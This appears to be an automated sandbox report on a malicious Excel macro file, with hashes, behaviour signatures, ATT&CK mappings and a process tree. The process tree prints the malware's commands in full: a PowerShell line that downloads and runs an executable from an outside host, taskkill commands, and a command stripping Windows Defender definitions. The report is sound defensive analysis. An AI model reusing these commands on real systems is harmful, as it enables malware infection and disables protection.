601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921

General

Target

b8f3bd05ba309b145a93bf03c3f97106_JaffaCakes118.xlsm
Size

28KB
MD5

b8f3bd05ba309b145a93bf03c3f97106
SHA1

c79a2d7427dbd7a05e1faf4e894dccfbf98304eb
SHA256

601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921
SHA512

aa6634f3699eb2d1ef2ff48cefb7864bf4466f28c5fedf6ad43d40d83e5b509ad5f378d06145f2bcbb01a92a95dda7aea980db9af0cfe1cc5bcd90f2e9325d6f
SSDEEP

768:+qDDovTEQ1MCf2W962F/XrNoa7PD3n4+KVj:+iCrMCo2F/PD34FVj

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/16.exe

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2768	3048	powershell.exe	85
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4912	3048	cmd.exe	85
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1584	3048	powershell.exe	85
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3156	3048	cmd.exe	85

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe
2768	powershell.exe
1584	powershell.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
4564	taskkill.exe
412	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3048	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1584	powershell.exe
1584	powershell.exe
2768	powershell.exe
2768	powershell.exe
1584	powershell.exe
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	4564	taskkill.exe
Token: SeDebugPrivilege	412	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE
3048	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 2768	3048	EXCEL.EXE	87
PID 3048 wrote to memory of 2768	3048	EXCEL.EXE	87
PID 3048 wrote to memory of 4912	3048	EXCEL.EXE	88
PID 3048 wrote to memory of 4912	3048	EXCEL.EXE	88
PID 3048 wrote to memory of 1584	3048	EXCEL.EXE	89
PID 3048 wrote to memory of 1584	3048	EXCEL.EXE	89
PID 3048 wrote to memory of 3156	3048	EXCEL.EXE	92
PID 3048 wrote to memory of 3156	3048	EXCEL.EXE	92
PID 4912 wrote to memory of 4564	4912	cmd.exe	97
PID 4912 wrote to memory of 4564	4912	cmd.exe	97
PID 1584 wrote to memory of 412	1584	powershell.exe	99
PID 1584 wrote to memory of 412	1584	powershell.exe	99

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b8f3bd05ba309b145a93bf03c3f97106_JaffaCakes118.xlsm"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/16.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im winword.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
  2⤵
  - Process spawned unexpected child process
  PID:3156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
51aa87521f685fa8d4f4bdbd7684a350

SHA1
fd4027d9b24c41461525b0f3f764aa6b2ddd5803

SHA256
6e9453d9cff64f88f0a0b0b5cda807f7deac354120724137e7426871401ea0d6

SHA512
637f0b4c94abb0bcf0bbf21ec2d328eccbf1bd6a37c5dbd309cd428f5aaab08d0f6102a8f45c09372fba57c034fc88ed7950c9afe366583cd5f636ee0b974947

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2g2hsbxb.zpz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1584-74-0x000001F7F2760000-0x000001F7F2782000-memory.dmp

Filesize
136KB

Download
memory/3048-14-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

Filesize
64KB

Download
memory/3048-16-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-10-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-8-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-7-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-6-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-11-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

Filesize
64KB

Download
memory/3048-12-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-13-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-5-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3048-1-0x00007FFE6E86D000-0x00007FFE6E86E000-memory.dmp

Filesize
4KB

Download
memory/3048-17-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-18-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-9-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-20-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-21-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-19-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-15-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-41-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-60-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-4-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3048-2-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3048-83-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3048-3-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3048-0-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download

Analysis

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